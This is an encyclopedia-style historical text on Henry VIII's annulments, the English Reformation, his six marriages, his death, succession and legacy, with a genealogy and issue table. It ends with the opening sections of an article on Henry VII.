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          It soon became the one absorbing object of the King's desires to secure an annulment from Catherine. Henry set his hopes upon a direct appeal to the Holy See, acting in this independently of Thomas Cardinal Wolsey, to whom he at first communicated nothing of his plans so far as they related to Anne. William Knight, the king's secretary, was sent to Pope Clement VII to sue for the annulment of his marriage with Catherine. The grounds were that the dispensing bull of Pope Julius II was obtained by false pretenses, because Catherine's brief marriage to the sickly Arthur had in fact been consummated. Henry also petitioned, in the event of his becoming free, a dispensation to contract a new marriage with any woman even in the first degree of affinity, whether the affinity was contracted by lawful or unlawful connection. This clearly had reference to Anne.


          As the pope was at that time the prisoner of Emperor Charles V, Knight had some difficulty in obtaining access to him. In the end the king's envoy had to return without accomplishing much, though the conditional dispensation for a new marriage was granted. Henry had now no choice but to put his great matter into the hands of Thomas Wolsey, and Wolsey did all he could to secure a decision in the King's favour. How far the pope was influenced by Charles V in his resistance is difficult to say, but it is clear Henry saw that the Pope was unlikely to give him an annulment from the Emperor's aunt. The pope forbade Henry to proceed to a new marriage before a decision was given in Rome. Convinced that he was treacherous, Anne Boleyn maintained pressure until Wolsey was dismissed from public office in 1529. After being dismissed, the cardinal begged her to help him return to power, but she refused. He then began a secret plot to have Anne forced into exile and began communication with Queen Catherine and the Pope to that end. When this was discovered, Henry ordered Wolsey's arrest and had it not been for his death from a terminal illness in 1530, he might have been executed for treason. His replacement, Sir Thomas More, initially cooperated with the king's new policy, denouncing Wolsey in Parliament and proclaiming the opinion of the theologians at Oxford and Cambridge that the marriage of Henry to Catherine had been unlawful. As Henry began to deny the authority of the Pope, More's qualms grew.


          A year later, Queen Catherine was banished from court and her old rooms were given to Anne. With Wolsey gone, Anne now had considerable power over government appointments and political matters. When Archbishop of Canterbury William Warham died, Anne had the Boleyn family's chaplain, Thomas Cranmer, appointed to the vacant position. Through the intervention of the King of France, this was conceded by Rome, the pallium being granted to him by Clement.


          The breaking of the power of Rome in England proceeded little by little. In 1532, a lawyer who was a supporter of Anne, Thomas Cromwell, brought before Parliament a number of acts including the Supplication against the Ordinaries and the Submission of the Clergy, which recognised Royal Supremacy over the church. Following these acts, Thomas More resigned as Chancellor, leaving Cromwell as Henry's chief minister.


          


          Second marriage


          Henry attended a meeting with the French king at Calais in the winter of 1532, in which he hoped he could enlist the support of Francis I of France for his new marriage. The conference at Calais was a political triumph, since the French government gave its support for Henry's re-marriage. Immediately upon returning to Dover in England, Henry and Anne went through a secret wedding service. She soon became pregnant and, as was the custom with royalty, there was a second wedding service, which took place in London on 25 January 1533. Events now began to move at a quick pace. On 23 May 1533, Cranmer, sitting in judgment at a special court convened at Dunstable Priory to rule on the validity of the king's marriage to Catherine of Aragon, declared the marriage of Henry and Catherine null and void. Five days later, on 28 May 1533, Cranmer declared the marriage of Henry and Anne to be good and valid.


          Catherine was formally stripped of her title as queen and Anne was consequently crowned queen consort on 1 June 1533. The queen gave birth slightly prematurely on 7 September 1533. Anne had given birth to a girl who was christened Elizabeth, in honour of Henry's mother, Elizabeth of York. Rejecting the decisions of the Pope, Parliament validated the marriage between Henry and Anne with the Act of Succession 1533. Catherine's daughter, the Lady Mary, was declared illegitimate, and Anne's issue were declared next in the line of succession. Included in this declaration was, most notably, a clause repudiating "any foreign authority, prince or potentate". All adults in the Kingdom were required to acknowledge the Act's provisions by oath and those who refused to do so were subject to imprisonment for life. The publisher or printer of any literature alleging that Henry's marriage to Anne was invalid was automatically guilty of high treason and could be punished by death.


          


          English Reformation (1533-1540)
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          Meanwhile, the House of Commons had forbidden all appeals to Rome and exacted the penalties of prmunire against all who introduced papal bulls into England. The Commons also prevented the Church from making any regulations without the King's consent. It was only then that Pope Clement at last took the step of launching sentences of excommunication against the King and Cranmer, declaring at the same time the archbishop's decree of annulment to be invalid and the marriage with Anne null and void. The papal nuncio was withdrawn from England and diplomatic relations with Rome were broken off. Several more laws were passed in England. The Ecclesiastical Appointments Act 1534 required the clergy to elect bishops nominated by the Sovereign. The Act of Supremacy 1534 declared that the King was "the only Supreme Head in Earth of the Church of England" and the Treasons Act 1534 made it high treason, punishable by death, to refuse to acknowledge the King as such. In response to the excommunications, the Peter's Pence Act was passed in and it reiterated that England had "no superior under God, but only your Grace" and that Henry's "imperial crown" had been diminished by "the unreasonable and uncharitable usurpations and exactions" of the Pope. In defiance of the Pope, the Church of England was now under Henrys control, not Rome's.


          


          Personal troubles


          The king and queen were not pleased with married life. The royal couple enjoyed periods of calm and affection, but Henry's frequent infidelities greatly upset his new wife, who reacted with tears and rage to each new mistress. For his part, Henry disliked Annes constant irritability and violent temper. After a false pregnancy or miscarriage in 1534, he saw her failure to give him a son as a betrayal. As early as Christmas 1534, Henry was discussing with Cranmer and Cromwell the chances of leaving Anne without having to return to Catherine.
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          Opposition to Henry's religious policies was quickly suppressed in England. A number of dissenting monks were tortured and executed. The most prominent resisters included John Fisher, Bishop of Rochester, and Sir Thomas More, Henry's former Lord Chancellor, both of whom refused to take the oath to the King and were subsequently convicted of high treason and beheaded at Tyburn. These suppressions in turn contributed to further resistance among the English people, most notably in the Pilgrimage of Grace, a large uprising in northern England in October of the same year. Henry VIII promised the rebels he would pardon them and thanked them for raising the issues to his attention, then invited the rebel leader, Robert Aske to a royal banquet. At the banquet, Henry asked Aske to write down what had happened so he could have a better idea of the problems he would 'change'. Aske did what the King asked, although what he had written would later be used against him as a confession. The King's word could not be questioned (as he was held as God's chosen, and second only to God himself) so Aske told the rebels they had been successful and they could disperse and go home. However, because Henry saw the rebels as traitors, he did not feel obliged to keep his promises. The rebels realised that the King was not keeping his promises and rebelled again later that year, but their strength was less in the second attempt and the King ordered the rebellion crushed. The leaders, including Aske, were arrested and executed for treason. Dissolution of the remaining, larger monasteries followed a subsequent authorising act by Parliament in May 1539.


          


          Execution of Anne Boleyn


          On 8 January 1536 news reached the king and the queen that Catherine of Aragon had died. Upon hearing the news of her death, Henry and Anne reportedly decked themselves in bright yellow clothing. Henry called for public displays of joy regarding Catherine's death. The queen was pregnant again, and she was aware of the consequences if she failed to give birth to a son. Her life could be in danger, as with both wives dead, Henry would be free to remarry and no one could claim that the union was illegal. Later that month, the King was unhorsed in a tournament and was badly injured. It seemed for a time that the King's life was in danger. When news of this accident reached the queen she was sent into shock and miscarried a male child that was about 15 weeks old. This happened on the very day of Catherines funeral, 29 January 1536. For most observers, this personal loss was the beginning of the end of the royal marriage.


          Given the King's desperate desire for a son, the sequence of Anne's pregnancies has attracted much interest. Author Mike Ashley speculated that Anne had two stillborn children after Elizabeth's birth and before the birth of the male child she miscarried in 1536. Most sources attest only to the birth of Elizabeth in September 1533, a possible miscarriage in the summer of 1534, and the miscarriage of a male child, of almost four months gestation, in January 1536. As Anne recovered from what would be her final miscarriage, Henry declared that his marriage had been the product of witchcraft. The King's new mistress, Jane Seymour, was quickly moved into new quarters. This was followed by Anne's brother being refused a prestigious court honour, the Order of the Garter, which was instead given to Jane Seymour's brother.


          Five men, including Anne's own brother, were arrested on charges of incest and treason, accused of having sexual relationships with the queen. On 2 May 1536 Anne was arrested and taken to the Tower of London. She was accused of adultery, incest and high treason. Although the evidence against them was unconvincing, the accused were found guilty and condemned to death by the peers. George Boleyn and the other accused men were executed on May 17, 1536. On the morning of May 19 1536 at 8 o'clock, the queen was executed before the public. This was the first public execution of an English queen. She knelt upright, in the French style of executions. The execution was swift and consisted of a single stroke.


          


          Birth of a prince
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          One day after Anne's execution in 1536 Henry became engaged to Jane Seymour, one of the Queen's ladies-in-waiting to whom the king had been showing favour for some time. They were married 10 days later. At about the same time as this, his third marriage, Henry granted his assent to the Laws in Wales Act 1535, which legally annexed Wales, uniting England and Wales into one unified nation. This was followed by the Act of Succession 1536, which declared Henry's children by Queen Jane to be next in the line of succession and declared both the Lady Mary and the Lady Elizabeth illegitimate, thus excluding them from the throne. The king was granted the power to further determine the line of succession in his will. Jane gave birth to a son, Prince Edward the future Edward VI, in 1537. The birth was difficult and the queen died at Greenwich Palace on 24 October 1537 from an infection. After Jane's death, the entire court mourned with Henry for an extended period. Henry considered Jane to be his "true" wife, being the only one who had given him the male heir he so desperately sought. He was buried next to her at his death.


          


          Final years (1540-1547)


          In 1540, Henry sanctioned the destruction of shrines to saints. At this time, Henry desired to marry once again to ensure the succession. Thomas Cromwell, promoted to 1st Earl of Essex, suggested Anne, the sister of the Protestant Duke of Cleves, who was seen as an important ally in case of a Roman Catholic attack on England. Hans Holbein the Younger was dispatched to Cleves to paint a portrait of Anne for the king. Although it has been said that he painted her in a more flattering light, it is unlikely that the portrait was highly inaccurate, since Holbein remained in favour at court. After regarding Holbein's portrayal, and urged by the complimentary description of Anne given by his courtiers, Henry agreed to wed Anne. On Anne's arrival in England, Henry is said to have found her utterly unattractive, privately calling her a "Flanders Mare."
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          Henry wished to annul the marriage in order to marry another. The Duke of Cleves had become engaged in a dispute with the Holy Roman Emperor, with whom Henry had no desire to quarrel. Queen Anne was intelligent enough not to impede Henry's quest for an annulment. Upon the question of marital sex, she testified that her marriage had never been consummated. Henry was said to have come into the room each night and merely kissed his new bride on the forehead before retiring. All impediments to an annulment were thus removed.


          The marriage was subsequently dissolved and Anne received the title of "The King's Sister," and was granted Hever Castle, the former residence of the Boleyn family. Cromwell, meanwhile, fell out of favour for his role in arranging the marriage and was subsequently attainted and beheaded. The office of Viceregent in Spirituals, which had been specifically created for him, was not filled.
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          On 28 July 1540, (the same day Cromwell was executed) Henry married the young Catherine Howard (also found as Katherine), Anne Boleyn's first cousin. He was absolutely delighted with his new queen. Soon after her marriage, however, Queen Catherine had an affair with the courtier, Thomas Culpeper. She also employed Francis Dereham, who was previously informally engaged to her and had an affair with her prior to her marriage, as her secretary. Thomas Cranmer, who was opposed to the powerful Roman Catholic Howard family, brought evidence of Queen Catherine's activities to the king's notice. Though Henry originally refused to believe the allegations, he allowed Cranmer to conduct an investigation, which resulted in Queen Catherine's implication. When questioned, the queen could have admitted a prior contract to marry Dereham, which would have made her subsequent marriage to Henry invalid, but she instead claimed that Dereham had forced her to enter into an adulterous relationship. Dereham, meanwhile, exposed Queen Catherine's relationship with Thomas Culpeper. As was the case with Anne Boleyn, Catherine Howard could not technically have been guilty of adultery, as the marriage was officially null and void from the beginning. Again, this point was ignored, and Catherine was executed on 13 February 1542. She was only about eighteen years old at the time. That same year, England's remaining monasteries were all dissolved, and their property transferred to the Crown. Abbots and priors lost their seats in the House of Lords; only archbishops and bishops came to comprise the ecclesiastical element of the body. The Lords Spiritual, as members of the clergy with seats in the House of Lords were known, were for the first time outnumbered by the Lords Temporal.
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          Henry married his last wife, the wealthy widow Catherine Parr, in 1543. She argued with Henry over religion; she was a reformer, but Henry remained a conservative. This behaviour nearly proved her undoing, but she saved herself by a show of submissiveness. She helped reconcile Henry with his first two daughters, the Princess Mary and the Lady Elizabeth. In 1544, an Act of Parliament put the daughters back in the line of succession after Edward, Prince of Wales, though they were still deemed illegitimate. The same act allowed Henry to determine further succession to the throne in his will.


          A mnemonic for the fates of Henry's wives is "divorced, beheaded, died, divorced, beheaded, survived". An alternative version is "King Henry the Eighth, to six wives he was wedded: One died, one survived, two divorced, two beheaded". (Or, more succinctly, "Two beheaded, one died, two divorced, one survived.") The phrase may be misleading. Firstly, Henry was never divorced from any of his wives; rather, his marriages to them were annulled. Secondly, four marriagesnot twoended in annulments. The marriages to Anne Boleyn and Catherine Howard were annulled shortly before their executions and, although her marriage to Henry was annulled, Anne of Cleves survived him, as did Catherine Parr.


          The cruelty and tyrannical egoism of Henry became more apparent as he advanced in years and his health began to fail. A wave of political executions, which had commenced with that of Edmund de la Pole, Duke of Suffolk in 1513, ended with Henry Earl of Surrey, in January, 1547, underlined it. According to Holinshed, the number of executions in this reign amounted to 72,000higher figures are given by some authorities.


          


          Death and succession
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          Late in life, Henry became grossly overweight (with a waist measurement of 54 inches/137 cm), and had to be moved about with the help of mechanical inventions. He was covered with suppurating boils and possibly suffered from gout. His obesity dates from a jousting accident in 1536 in which he suffered a leg wound. This prevented him from exercising and gradually became ulcerated. It undoubtedly hastened his death at the age of 55, which occurred on 28 January 1547 in the Palace of Whitehall, on what would have been his father's 90th birthday. He expired soon after uttering these last words: "Monks! Monks! Monks!"


          

          The well known theory that Henry suffered from syphilis was first promoted approximately 100 years after his death. A more recent theory suggests that Henry's medical symptoms, and those of his older sister Margaret Tudor, are also characteristic of untreated Type II diabetes. Henry VIII was buried in St George's Chapel in Windsor Castle, next to his wife Jane Seymour. Almost a hundred years later Charles I was buried in his grave. Within a little more than a decade after his death, all three of his royal heirs sat on the English throne, and all three left no descendants.


          Under the Act of Succession of 1543, Henry's only surviving legitimate son, Edward, inherited the Crown, becoming Edward VI. Since Edward was only nine years old at the time, he could not exercise actual power. Henry's will designated 16 executors to serve on a council of regency until Edward reached the age of 18. The executors chose Edward Seymour, 1st Earl of Hertford, Jane Seymour's elder brother, to be Lord Protector of the Realm. In default of heirs to Edward, the throne was to pass to Henry VIII's daughter by Catherine of Aragon, the Princess Mary and her heirs. If Mary's issue also failed, the crown was to go to Henry's daughter by Anne Boleyn, Princess Elizabeth, and her heirs. Finally, if Elizabeth's line also became extinct, the crown was to be inherited by the descendants of Henry VIII's deceased younger sister, Mary Tudor, Duchess of Suffolk. The descendants of Henry's sister Margaret Tudor - the royal family of Scotland - were therefore excluded from succession according to this act.


          


          The children of Henry VIII


          


          


          Legacy


          Henry is known to have been an avid gambler and dice player. In his youth, he excelled at sports, especially jousting, hunting, and real tennis. He was also an accomplished musician, author, and poet; his best known piece of music is Pastime with Good Company ("The Kynges Ballade"). The King was also involved in the original construction and improvement of several significant buildings, including Nonsuch Palace, King's College Chapel, Cambridge and Westminster Abbey in London. Many of the existing buildings Henry improved were properties confiscated from Wolsey, such as Christ Church, Oxford, Hampton Court Palace, the Palace of Whitehall, and Trinity College, Cambridge. He founded Christ Church Cathedral School, Oxford in 1546. The only surviving piece of clothing worn by Henry VIII is a cap of maintenance awarded to the Mayor of Waterford, along with a bearing sword, in 1536. It currently resides in the Waterford Museum of Treasures. In the centuries since his death, Henry has inspired or been mentioned in numerous artistic and cultural works.


          


          Church of England


          Though mainly motivated by dynastic and personal concerns, and despite never really abandoning the fundamentals of the Roman Catholic Church, Henry ensured that the greatest act of his reign would be one of the most radical and decisive of any English monarch. His break with Rome in 1533-34 was an act with enormous consequences for the subsequent course of English history beyond the Tudor dynasty. Not only in making possible the transformation of England into a powerful (albeit very distinctive) nation; but also in the seizing of economic and political power from the Church by the aristocracy, chiefly through the acquisition of monastic lands and assets -- a short-term strategy with long-term social consequences. Henry's decision to entrust the regency of his son Edward's minor years to a decidedly reform-oriented regency council, dominated by Edward Seymour, was most likely for the simple tactical reason that Seymour seemed likely to provide the strongest leadership for the kingdom ensured that the English Reformation would be consolidated and even furthered during his son's reign. Such ironies marked other aspects of his legacy.
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          He fostered humanist learning and yet was responsible for the deaths of several outstanding English humanists. Obsessed with securing the succession to the throne, he left no legitimate heirs but a young son (who died before his sixteenth birthday) and two daughters adhering to adversarial religions. The power of the state was magnified, yet so too (at least after Henry's death) were demands for increased political participation by the middle class. Henry worked with some success to once again make England a major player on the European scene but depleted his treasury in the course of doing so, a legacy that has remained an issue for English monarchs ever since.


          


          English navy


          Together with Alfred the Great and Charles II, Henry is traditionally called one of the founders of the Royal Navy. His reign featured some naval warfare and, more significantly, large royal investment in shipbuilding (including a few spectacular great ships such as Mary Rose), dockyards (such as HMNB Portsmouth) and naval innovations (such as the use of cannon on-board ship - although archers were still deployed on medieval-style forecastles and bowcastles as the ship's primary armament on large ships, or co-armament where cannon were used). However, in some ways this is a misconception since Henry did not bequeath to his immediate successors a navy in the sense of a formalised organisation with structures, ranks, formalised munitioning structures but only in the sense of a set of ships. Elizabeth I still had to cobble together a set of privately owned ships to fight off the Spanish Armada (which consisted of about 130 warships and converted merchant ships) and in the former, formal sense the modern British navy, the Royal Navy, is largely a product of the Anglo-Dutch naval rivalry of the seventeenth century. Still, Henry's reign marked the birth of English naval power and was a key factor in England's later victory over the Spanish Armada.


          Henry's break with Rome incurred the threat of a large-scale French or Spanish invasion. To guard against this he strengthened existing coastal defence fortresses (such as Dover Castle and, also at Dover, Moat Bulwark and Archcliffe Fort he personally visited for a few months to supervise, as is commemorated in the modern exhibition in Dover Castle's keep there). He also built a chain of new 'castles' (in fact, large bastioned and garrisoned gun batteries) along Britain's southern coast from East Anglia to Cornwall, largely built of material gained from the demolition of monasteries. These were also known as Henry VIII's Device Forts.


          


          Style and arms
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          Henry VIII was the first English monarch to regularly use the style "Majesty", though the alternatives "Highness" and "Grace" were also used.


          Several changes were made to the royal style during his reign. Henry originally used the style "Henry the Eighth, by the Grace of God, King of England, France and Lord of Ireland". In 1521, pursuant to a grant from Pope Leo X rewarding a book by Henry attacking Martin Luther, the royal style became "Henry the Eighth, by the Grace of God, King of England and France, Defender of the Faith and Lord of Ireland". Following Henry's excommunication, Pope Paul III rescinded the grant of the title "Defender of the Faith", but an Act of Parliament declared that it remained valid; and it continues in royal usage to the present day.


          In 1535, Henry added the "supremacy phrase" to the royal style, which became "Henry the Eighth, by the Grace of God, King of England and France, Defender of the Faith, Lord of Ireland and of the Church of England in Earth Supreme Head". In 1536, the phrase "of the Church of England" changed to "of the Church of England and also of Ireland".


          In 1541, Henry had the Irish Parliament change the title "Lord of Ireland" to "King of Ireland" with the Crown of Ireland Act 1542, after being advised that many Irish people regarded the Pope as the true head of their country, with the Lord acting as a mere representative. The reason the Irish regarded the Pope as their overlord was because Ireland had originally been given to the English King Henry II by Pope Adrian IV in the twelfth century as a feudal territory under papal overlordship. The meeting of Irish Parliament that proclaimed Henry VIII King of Ireland was the first meeting attended by the Gaelic Irish chieftains as well as the Anglo-Irish aristocrats. The style "Henry the Eighth, by the Grace of God, King of England, France and Ireland, Defender of the Faith and of the Church of England and also of Ireland in Earth Supreme Head" remained in use until the end of Henry's reign.


          Henry's motto was Coeur Loyal (true heart) and he had this embroidered on his clothes in the form of a heart symbol and with the word loyal. His emblem was the Tudor rose and the Beaufort portcullis.


          As Duke of York, Henry used the arms of his father (i.e. those of the kingdom), differenced by a label of three points ermine. As king, Henry VIII's arms were the same as those used by his predecessors since Henry IV: Quarterly, Azure three fleurs-de-lys Or (for France) and Gules three lions passant guardant in pale Or (for England).
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                    	27. Joan Beaufort, Countess of Westmorland
                  


                  
                    	
                      
                        
                      

                    
                  


                  
                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    
                  


                  
                    	
                  


                  
                    	
                      
                        
                      

                    

                    	3. Elizabeth of York

                    	
                      
                        
                      

                    
                  


                  
                    	
                      
                        
                      

                    
                  


                  
                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    
                  


                  
                    	
                  


                  
                    	
                      
                        
                      

                    

                    	28. Sir Richard Wydevill
                  


                  
                    	
                      
                        
                      

                    
                  


                  
                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    
                  


                  
                    	
                  


                  
                    	
                      
                        
                      

                    

                    	14. Richard Woodville, 1st Earl Rivers
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                    	30. Peter I, Comte de Saint-Pol
                  


                  
                    	
                      
                        
                      

                    
                  


                  
                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    
                  


                  
                    	
                  


                  
                    	
                      
                        
                      

                    

                    	15. Jacquetta of Luxembourg

                    	
                      
                        
                      

                    
                  


                  
                    	
                      
                        
                      

                    
                  


                  
                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    
                  


                  
                    	
                  


                  
                    	
                      
                        
                      

                    

                    	31. Margaret de Baux
                  


                  
                    	
                      
                        
                      

                    
                  


                  
                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    

                    	
                      
                        
                      

                    
                  


                  
                    	
                  

                

              
            

          


          


          Marriage and issue


          



          
            
              	Name

              	Birth

              	Death

              	Notes
            


            
              	By Queen Catherine of Aragon (married 11 June 1509 annulled 23 May 1533)
            


            
              	Miscarried daughter

              	31 January 1510

              	
            


            
              	Henry, Duke of Cornwall

              	1 January 1511

              	22 February 1511

              	
            


            
              	Unnamed son

              	November 1513

              	
            


            
              	Henry, Duke of Cornwall

              	December 1514

              	
            


            
              	Queen Mary I

              	18 February 1516

              	17 November 1558

              	married 1554, Philip II of Spain; no issue
            


            
              	Unnamed daughter

              	10 November 1518

              	
            


            
              	By Queen Anne Boleyn (married 25 January 1533 annulled 1536) beheaded
            


            
              	Queen Elizabeth I

              	7 September 1533

              	24 March 1603

              	never married, no issue
            


            
              	" Henry Tudor"

              	1534

              	Historians are uncertain if the child was born and died shortly after birth, or if it had been a miscarriage. The affair was hushed up and we cannot even be certain of the child's sex.
            


            
              	" Edward Tudor"

              	29 January 1536

              	
            


            
              	By Queen Jane Seymour (married 30 May 1536; died 25 October 1537)
            


            
              	King Edward VI

              	12 October 1537

              	6 July 1553

              	
            


            
              	By Queen Anne of Cleves (married 6 January 1540 annulled 1540)
            


            
              	no issue
            


            
              	By Queen Catherine Howard (married 28 July 1540 annulled 1541) beheaded
            


            
              	no issue
            


            
              	By Queen Catherine Parr (married 12 July 1543; died 5 September 1548)
            


            
              	no issue
            


            
              	By Elizabeth Blount
            


            
              	Henry Fitzroy, Duke of Richmond and Somerset

              	15 June 1519

              	18 June 1536

              	illegitimate; married 1533, the Lady Mary Howard; no issue
            


            
              	By Mary Boleyn

              (Some writers, such as Alison Weir, now question whether Henry Carey was fathered by Henry VIII. )
            


            
              	Catherine Carey, Lady Knollys

              	c. 1524

              	15 January 1568

              	married Sir Francis Knollys; had issue
            


            
              	Henry Carey, Baron Hunsdon

              	4 March 1526

              	23 July 1596

              	married 1545, Ann Morgan; had issue
            


            
              	By Mary Berkeley

              (There is no evidence to prove he was Henry's son except through eye witness accounts, who claimed a resemblance to the King.)
            


            
              	John Perrott

              	c. 1527

              	3 November 1592

              	married 1. Anne Cheney; 2. Jane Pruet, both of whom produced issue. He also had issue with his mistress Sybil Jones.
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        Henry VII of England


        
          

          
            
              	Henry VII
            


            
              	King of England, Lord of Ireland
            


            
              	[image: ]
            


            
              	Reign

              	August 22, 1485 - April 21, 1509
            


            
              	Coronation

              	October 30, 1485
            


            
              	Born

              	January 28, 1457 (age 52)
            


            
              	Birthplace

              	Pembroke Castle
            


            
              	Died

              	April 21, 1509
            


            
              	Place of death

              	Richmond Palace
            


            
              	Buried

              	Westminster Abbey
            


            
              	Predecessor

              	Richard III
            


            
              	Successor

              	Henry VIII
            


            
              	Consort

              	Elizabeth of York (1466-1503)
            


            
              	Issue

              	Arthur, Prince of Wales (1486-1502)

              Margaret Tudor (1489-1541)

              Henry VIII of England (1491-1547)

              Elizabeth Tudor (1492-1495)

              Mary Tudor ( 1496-1533)

              Edmund Tudor, Duke of

              Somerset (1499-1500)

              Katherine Tudor (1503-1503)
            


            
              	Royal House

              	Tudor
            


            
              	Father

              	Edmund Tudor (c. 1430-1456)
            


            
              	Mother

              	Lady Margaret Beaufort (1443-1509)
            

          


          Henry VII ( January 28, 1457  April 21, 1509), King of England, Lord of Ireland ( August 22, 1485  April 21, 1509), was the founder and first patriarch of the Tudor dynasty.


          Henry allied with the Habsburg empire as a member of the Order of the Golden Fleece.


          


          Early life


          Henry was born at Pembroke Castle, in Wales, in 1457, and he was the only son of Edmund Tudor and Lady Margaret Beaufort. His father died two months before he was born, which meant that the young Henry spent much of his life with his uncle, Jasper Tudor. When the Yorkist Edward IV returned to the throne in 1471, Henry was forced to flee to Brittany, where he was to spend most of the next fourteen years. After the failure of the revolt of his second cousin, Henry Stafford, 2nd Duke of Buckingham, in 1483, Henry Tudor became the leading Lancastrian contender for the throne of England. With money and supplies borrowed from his host, Francis II, Duke of Brittany, Henry made an unsuccessful attempt to land in England but turned back after encountering Richard III's (148385) forces on the Dorset coast. Richard III attempted to ensure his return through a treaty with the Breton authorities, but Henry was alerted and escaped to France. He was welcomed by the French court, who readily supplied him with troops and equipment for a second invasion.


          


          Rise to the throne


          Having gained the support of the in-laws of the late Yorkist King Edward IV, he landed with a largely French and Scottish force in Mill Bay, Pembrokeshire, and marched into England, accompanied by his uncle, Jasper Tudor, and the experienced John de Vere, 13th Earl of Oxford. Wales had traditionally been a Yorkist stronghold, and Henry owed the support he gathered to his ancestry, being directly descended, through his father, from the Lord Rhys. He amassed an army of around 5,000 soldiers and travelled north.


          Henry was aware that this was his only chance to seize the throne since Richard had reinforcements that waited in Nottingham and Leicester and thus had only to avoid being killed in order to keep the throne. Though outnumbered, Henry's Lancastrian forces decisively defeated the Yorkist army under Richard at the Battle of Bosworth Field on 22 August 1485 when several of Richard's key allies, such as the Earl of Northumberland and William and Thomas Stanley, crucially switched sides or deserted the field of battle. The death of Richard III on Bosworth Field effectively ended the long-running Wars of the Roses between the two houses, although it was not the final battle Henry had to fight. His claim to the throne was tenuous: it was based upon a lineage of illegitimate succession, and overlooked the fact that the Beauforts had been disinherited by an earlier act of attainder. Henry VII's paternal grandfather had married the widow of Henry V, while on his mother's side (Beauforts) claimed royal blood through an illegitimate line from John of Gaunt, third son of Edward III. The Tudors also said to be descended from Edward I through his granddaughter Eleanor of Bar, the daughter of the Count of Bar, apparently without any basis and intending to create a connection to the eralier Plantagenets. If forged, that pretension was, however, unnecessary since Catherine of Valois was twice a descendant of Henry II through the Kings of Castile. However, the Wars of the Roses had ensured that most other claimants were either dead or too weak to challenge him. In the end Henry dealt with the act of attainder by claiming that it could not apply to a king.


          The first of Henry's concerns on attaining the throne was the question of establishing the strength and supremacy of his rule. His own claim to the throne being weak as it was, he was fortunate in that there were few other claimants to the throne left alive after the long civil war. His main worry was pretenders including Perkin Warbeck, who, pretending to be Richard, Duke of York, the younger of the Princes in the Tower and son of Edward IV, made attempts at the throne with the backing of disaffected nobles and foreign enemies. Henry managed to secure his crown principally by dividing and undermining the power of the nobility, especially through the aggressive use of bonds and recognisances to secure loyalty, as well as by a legislative assault on retaining, the practice of maintaining private armies. He also honoured his pledge of December 1483 to marry Elizabeth of York, daughter and heir of King Edward IV. The marriage took place on January 18, 1486 at Westminster. The marriage unified the warring houses and gave his children a stronger claim to the throne (although there is evidence that Edward was born illegitimate). The unification of the houses of York and Lancaster by Henry VII's marriage to Elizabeth of York is represented in the heraldic symbol of the Tudor rose, a combination of the white rose of York and the red rose of Lancaster.


          In addition, Henry had the Titulus Regius, the document declaring Edward IV's children illegitimate due to his marriage being invalid, repealed in his first parliament, thus legitimizing his wife. Several amateur historians, including Bertram Fields and most particularly Sir Clements Markham believe that he also may have been involved in the murder of the Princes in the Tower, as the repeal of the Titulus Regius would have given them a stronger claim to the throne than his own. This theory has made its appearance in such notable cases as former William Rehnquist's show trial, aired on CNN, where he 'found' that "There is a sufficient lapse of time even considering the evidence most favorable to the State as to put it beyond the time when Richard III was in control of things and into the time when Henry VII was in control of things".


          Henry's first action was to declare himself king retroactive to the day before the battle, thus ensuring that anyone who had fought against him would be guilty of treason. It is interesting to note, therefore, that he spared Richard's designated heir, John de la Pole, Earl of Lincoln. He would have cause to regret his leniency two years later, when Lincoln rebelled and attempted to set a boy pretender, Lambert Simnel, on the throne in Henry's place. Lincoln was killed at the Battle of Stoke, but Simnel's life was spared and he became a royal servant.


          Simnel had been put forward as "Edward VI", impersonating the young Edward, Earl of Warwick, son of George, Duke of Clarence, who was still imprisoned in the Tower of London. Henry had imprisoned the boy at the age of 10, and though he did not release him at any point, he did not execute him until he had grown into adulthood, in 1499. Edward's elder sister, Margaret Pole, who had the next best claim on the throne, inherited her father's earldom of Salisbury and survived well into the next century (until she fell victim to a bill of attainder for treason too, under Henry VIII).


          


          Economic and diplomatic policies


          Henry VII was a fiscally prudent monarch who restored the fortunes of an effectively bankrupt exchequer (Edward IV's treasury had been emptied by his wife's Woodville relations after his death and before the accession of Richard III) by introducing ruthlessly efficient mechanisms of taxation. In this he was supported by his chancellor, Archbishop John Morton, whose " Morton's Fork" (the two "tines" of which being: "If the subject is seen to live frugally, tell him because he is clearly a money saver of great ability he can afford to give generously to the King. If, however, the subject lives a life of great extravagance, tell him he, too, can afford to give largely, the proof of his opulence being evident in his expenditure.") was a catch 22 method of ensuring that nobles paid increased taxes. Royal government was also reformed with the introduction of the King's Council that kept the nobility in check.


          Henry VII's policy was both to maintain peace and to create economic prosperity. Up to a point, he succeeded in both. He was not a military man, and had no interest in trying to regain the French territories lost during the reigns of his predecessors; he was therefore only too ready to conclude a treaty with France at Etaples that both directly and indirectly brought money into the coffers of England, and ensured that the French would not support pretenders to the English throne, such as Perkin Warbeck. Henry had been under the financial and physical protection of the French throne or its vassals for most of his career prior to his ascending to the throne of England. To strengthen his position, however, he subsidized shipbuilding, so strengthening the navy (he commissioned Europe's first ever - and the world's oldest surviving - dry dock at Portsmouth in 1495) and improving trading opportunities. By the time of his death, he had amassed a personal fortune of a 1.5 million; it did not take his son as long to fritter it away as it had taken the father to acquire it.


